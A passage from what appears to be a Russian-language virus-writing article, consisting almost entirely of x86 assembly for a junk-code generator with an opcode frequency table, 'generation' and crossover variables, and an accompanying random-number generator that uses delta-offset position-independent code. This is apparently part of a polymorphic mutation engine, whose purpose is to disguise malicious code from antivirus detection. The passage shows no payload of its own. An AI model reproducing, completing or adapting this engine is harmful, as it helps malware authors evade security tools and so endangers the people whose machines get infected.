cmp cl,3 ; Если длина генерируемой
|
||
jge __g15__ ; инструкции меньше 6, то
|
||
ret ; Возврат из подпрограммы
|
||
__g15__:
|
||
mov al,0fh ; Кладём в al - 0fh
|
||
stosb ; И помещаем al в буфер
|
||
mov eax,15 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..14
|
||
add al,40h ; Добавляем к al - 40h
|
||
stosb ; И помещаем al в буфер
|
||
call free_reg ; Берём случайный регистр
|
||
shl eax,3 ; Умножаем его на 8
|
||
add al,0c0h ; Добавляем к нему - 0c0h
|
||
mov dl,al ; Помещаем в dl - al
|
||
call rnd_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции CMOVA:
|
||
; ..............................
|
||
; cmova eax,edx
|
||
; ..............................
|
||
sub ecx,3 ; Уменьшаем счётчик на 3
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций PUSH/POP - 0x6a, 0x0ff 0x0f0..0x0f7;0x58..0x5f]-----;
|
||
|
||
__push_r32_2:
|
||
mov eax,10 ; Генерируем СЧ
|
||
call brandom32 ; в диапазоне 0..9
|
||
mov edx,eax ; Кладём в edx - eax
|
||
add al,3 ; Добавляем к al - 3
|
||
|
||
cmp eax,ecx ; Если длина генерируемых
|
||
jle __g16__ ; инструкций меньше ,то
|
||
ret ; Возврат из подпрограммы
|
||
__g16__:
|
||
mov eax,4 ; Генерируем СЧ
|
||
call brandom32 ; в диапазоне 0..3
|
||
test eax,eax ; Если оно не равно 0, то
|
||
jnz __ng3__ ; Переходим на метку __ng3__
|
||
|
||
mov al,6ah ; Кладём в al - 06ah
|
||
stosb ; Помещаем al в буфер
|
||
xor eax,eax ; Обнуляем eax
|
||
dec eax ; Теперь в eax - 0ffffffffh
|
||
call brandom32 ; Генерируем СЧ
|
||
stosb ; Кладём в буфер
|
||
jmp __gen5__ ; Идём на генерацию мусора
|
||
__ng3__:
|
||
push edx ; Сохраняем в стэке edx
|
||
|
||
mov al,0ffh ; Кладём в al - 0ffh
|
||
stosb ; И помещаем al в буфер
|
||
mov dl,0f0h ; Кладём в dl - 0f0h
|
||
call free_reg ; Получаем свободный регистр
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
|
||
pop edx ; Вынимаем из стэка edx
|
||
__gen5__:
|
||
push ecx ; Сохраняем ecx в стэке
|
||
mov ecx,edx ; Кладём в ecx - edx
|
||
call garbage ; Генериуем серию мусора
|
||
pop ecx ; Восстанавливаем ecx из стэка
|
||
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,58h ; Добавляем к al - 58h
|
||
stosb ; И опять кладём al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции PUSH/POP:
|
||
; ..............................
|
||
; push eax
|
||
; mov eax,2345
|
||
; pop ecx
|
||
; ..............................
|
||
sub ecx,edx ; Уменьшаем счётчик на edx
|
||
sub ecx,3 ; Уменьшаем счётчик на 3
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций PUSH - 0x68,0x58..0x5f]-----------------------------;
|
||
|
||
__push_imm32:
|
||
mov eax,10 ; Генерируем СЧ в
|
||
call brandom32 ; диапазоне 0..9
|
||
mov edx,eax ; Помещаем в edx - eax
|
||
add al,6 ; Добавляем к al - 6
|
||
|
||
cmp eax,ecx ; Если длина генерируемых
|
||
jle __g17__ ; инструкций меньше, то
|
||
ret ; Возврат из подпрограммы
|
||
__g17__:
|
||
mov al,68h ; Кладём в al - 68h
|
||
stosb ; Помещаем al в буфер
|
||
xor eax,eax ; Обнуляем eax
|
||
dec eax ; Теперь в eax - 0ffffffffh
|
||
call brandom32 ; Генерируем СЧ
|
||
stosd ; Кладём его в буфер
|
||
|
||
push ecx ; Сохраняем ecx в стэке
|
||
mov ecx,edx ; Кладём в ecx - edx
|
||
call garbage ; Генерируем серию мусора
|
||
pop ecx ; Восстанавливаем ecx из стэка
|
||
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,58h ; Добавляем к al - 58h
|
||
stosb ; И опять кладём al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции PUSH/POP:
|
||
; ..............................
|
||
; push eax
|
||
; add eax,42346
|
||
; pop ecx
|
||
; ..............................
|
||
sub ecx,edx ; Уменьшаем счётчик на edx
|
||
sub ecx,6 ; Уменьшаем счётчик на 6
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация однобайтовых инструкций - 0x40..0x4f;0x0f2;0x0f3...]-----------;
|
||
|
||
__one_byte:
|
||
mov eax,3 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..2
|
||
|
||
cmp al,1 ; Если число = 1, то
|
||
jne __not_inc_ ; генерируем инструкцию INC
|
||
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,40h ; Добавляем к al - 40h
|
||
stosb ; Помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции INC:
|
||
; ..............................
|
||
; inc eax
|
||
; inc ebp
|
||
; ..............................
|
||
jmp __q__ ; Идём на выход
|
||
__not_inc_:
|
||
|
||
cmp al,2 ; Если число = 2, то
|
||
jne __not_dec_ ; Идём на выход
|
||
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,48h ; Добавляем к al - 48h
|
||
stosb ; Помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции DEC:
|
||
; ..............................
|
||
; dec eax
|
||
; ..............................
|
||
jmp __q__ ; Идём на выход
|
||
__not_dec_:
|
||
|
||
lea esi,[ebp+__1_byte_opcode]; Кладём в esi указатель на
|
||
; таблицу однобайтных
|
||
; инструкций
|
||
mov eax,8 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..7
|
||
add esi,eax ; Прибавляем к esi - eax
|
||
movsb ; Помещаем инструкцию
|
||
; из таблицы в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция из таблицы:
|
||
; .............................
|
||
; cld
|
||
; nop
|
||
__q__: ; .............................
|
||
dec ecx ; Уменьшаем ecx на единицу
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Подпрограмма получающая случайный свободный регистр]---------------------;
|
||
|
||
free_reg:
|
||
; Подпрограмма получения
|
||
; свободного регистра
|
||
|
||
push edx ecx ; Сохраняем в стэке edx, ecx
|
||
another: ;
|
||
|
||
call rnd_reg ;
|
||
bt ebx, eax ; Определяем используемый
|
||
jc another ; случайный регистр
|
||
|
||
pop ecx edx ; Восстанавливаем ecx, edx
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Подпрограмма получающая случайный регистр]-------------------------------;
|
||
|
||
rnd_reg:
|
||
; Подпрограмма получения
|
||
; случайного регистра
|
||
|
||
mov eax,8 ; Получаем случайное число
|
||
call brandom32 ; в диапазоне 0..7
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Таблица смещений на подпрограммы]----------------------------------------;
|
||
|
||
mega_table:
|
||
dw __x87 -__st__ ;
|
||
dw __mov_r32_r32 -__st__ ;
|
||
dw __push_r32 -__st__ ;
|
||
dw __push_r32_2 -__st__ ;
|
||
dw __push_imm32 -__st__ ;
|
||
dw __shl_r32_imm8 -__st__ ;
|
||
dw __cmp_r32_r32 -__st__ ;
|
||
dw __xor_r32_r32 -__st__ ;
|
||
dw __one_byte -__st__ ;
|
||
dw __mov_r32_imm32 -__st__ ;
|
||
dw __jxx_short -__st__ ; Таблица относительных
|
||
dw __jxx_near -__st__ ; смещений от метки
|
||
dw __add_r32_imm32 -__st__ ; delta_offset
|
||
dw __jmp_short -__st__ ;
|
||
dw __lea_r32_imm32 -__st__ ;
|
||
dw __test_r32_r32 -__st__ ;
|
||
dw __not_r32 -__st__ ;
|
||
dw __xadd_r32_r32 -__st__ ;
|
||
dw __mov_r16_imm16 -__st__ ;
|
||
dw __cmova_r32_r32 -__st__ ;
|
||
dw __call_near -__st__ ;
|
||
|
||
;----[Таблица однобайтовых опкодов]--------------------------------------------;
|
||
|
||
__1_byte_opcode:
|
||
std ;
|
||
cld ; Таблица однобайтовых
|
||
nop ; инструкций
|
||
clc ;
|
||
stc ;
|
||
cmc ;
|
||
db 0f2h ; rep
|
||
db 0f3h ; repnz
|
||
|
||
;----[Таблица трёхбайтовых опкодов]--------------------------------------------;
|
||
|
||
__3_byte_opcode:
|
||
db 0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых
|
||
db 0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций
|
||
|
||
;----[Таблица мат. ожиданий опкодов]-------------------------------------------;
|
||
|
||
__freq_table:
|
||
dw 10 ; x87(0xdc)
|
||
dw 209 ; mov r32,r32(0x8b)
|
||
dw 107 ; push r32/pop r32(0x50)
|
||
dw 147 ; push r32(0xff,0x6a)
|
||
dw 32 ; push imm32(0x68)
|
||
dw 6 ; ror/shl r32,imm8(0xc1)
|
||
dw 5 ; cmp r32,r32(0x3ah)
|
||
dw 43 ; xor r32,r32(0x33)
|
||
dw 8 ; rep/repnz(0xf3)
|
||
dw 22 ; mov r32,imm32(0xb8)
|
||
dw 82 ; je short(0x70..0x7fh)
|
||
dw 18 ; je near(0x0f)
|
||
dw 78 ; add/or r32,imm32(0x81..0x85)
|
||
dw 30 ; jmp short(0xeb)
|
||
dw 63 ; lea r32,imm32(0x8d)
|
||
dw 1 ; test r32/r8,r32/r8(0x84,0x85)
|
||
dw 1 ; not/neg(0xf7)
|
||
dw 23 ; xadd/imul r32,r32(0x0f)
|
||
dw 6 ; mov r16,imm16(0x66)
|
||
dw 13 ; cmova r32,r32(0x0f)
|
||
dw 95 ; call near(0xe8)
|
||
|
||
;----[Количество поколений]----------------------------------------------------;
|
||
|
||
__generation dd 9
|
||
|
||
;----[Наследственность]--------------------------------------------------------;
|
||
|
||
__cross1 dd 0
|
||
__cross2 dd 0
|
||
|
||
;----[Определения регистров]---------------------------------------------------;
|
||
|
||
_eax equ 00000001h ;
|
||
_ecx equ 00000002h ;
|
||
_edx equ 00000004h ;
|
||
_ebx equ 00000008h ;
|
||
_esp equ 00000010h ; Определения регистров
|
||
_ebp equ 00000020h ; спасибо Z0MBiE :)
|
||
_esi equ 00000040h ;
|
||
_edi equ 00000080h ;
|
||
;------------------------------------------------------------------------------;
|
||
</src>
|
||
<p>Для работы данного движка необходима новая версия - ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА.</p>
|
||
<src lang="asm">
|
||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||
; ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА V. 0.3 (x) 2004 СЛОН http://slon.wronger.com ;
|
||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||
; Интервал: [0..eax-1] ;
|
||
;------------------------------------------------------------------------------;
|
||
; Использование: call r_init ;
|
||
; mov eax,ГРАНИЦА ИНТЕРВАЛА ;
|
||
; call brandom32 ;
|
||
;------------------------------------------------------------------------------;
|
||
; Результат: число в интервале [0..ГРАНИЦА ИНТЕРВАЛА] ;
|
||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||
|
||
;----[Подпрограмма инициализации генератора случайных чисел]-------------------;
|
||
|
||
r_init:
|
||
push ebp eax edx ; Сохраняем в стэке ebp,eax,edx
|
||
|
||
call __delta1_ ;
|
||
__delta1_: pop ebp ; Получение дельта смещения
|
||
sub ebp,offset __delta1_ ;
|
||
|
||
db 0fh,031h ; Получаем случайное зерно
|
||
mov rand_seed,eax ;
|
||
|
||
pop edx eax ebp ; Восстанавливаем edx,eax,ebp
|
||
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Подпрограмма генерации случаного чмсла в диапазоне]----------------------;
|
||
|
||
brandom32: ; Эта подпрограмма
|
||
; возвращает случайное число
|
||
; в диапазоне 0..eax-1
|
||
|
||
push edx ecx ebp ; Сохраняем в стэке edx,ecx,ebp
|
||
|
||
call __delta2_ ;
|
||
__delta2_: pop ebp ; Получение дельта смещения
|
||
sub ebp,offset __delta2_ ;
|
||
|
||
imul eax,eax,100 ; Умножаем eax на 100
|
||
push eax ; и сохраняем eax в стэке
|
||
|
||
call random32 ; Вызываем подпрограмму
|
||
; генерации случайного числа
|
||
xor edx,edx ; Обнуляем edx
|
||
pop ecx ; Восстанавливаем значение
|
||
; из стэка в ecx
|
||
div ecx ; Делим eax на ecx
|
||
xchg eax,edx ; Помещаем остаток в eax
|
||
xor edx,edx ; Обнуляем edx
|
||
push 100 ; Помещаем в ecx - 100
|
||
pop ecx ;
|
||
div ecx ; Делим eax на ecx
|
||
pop ebp ecx edx ; Восстанавливаем ebp,ecx,edx,
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Подпрограмма генерации случайного числа]---------------------------------;
|
||
|
||
random32:
|
||
push ebp
|
||
|
||
call __delta3_ ;
|
||
__delta3_: pop ebp ; Получение дельта смещения
|
||
sub ebp,offset __delta3_ ;
|
||
|
||
mov eax,12345678h ;
|
||
rand_seed= dword ptr $-4 ;
|
||
imul eax,00019660Dh ;
|
||
add eax,03C6EF35Fh ; Математические операции для
|
||
mov [ebp+rand_seed],eax ; получения случайного числа
|
||
shr eax,16 ;
|
||
imul eax,[esp+4] ;
|
||
|
||
pop ebp
|
||
|
||
retn ; Возврат из подпрограммы |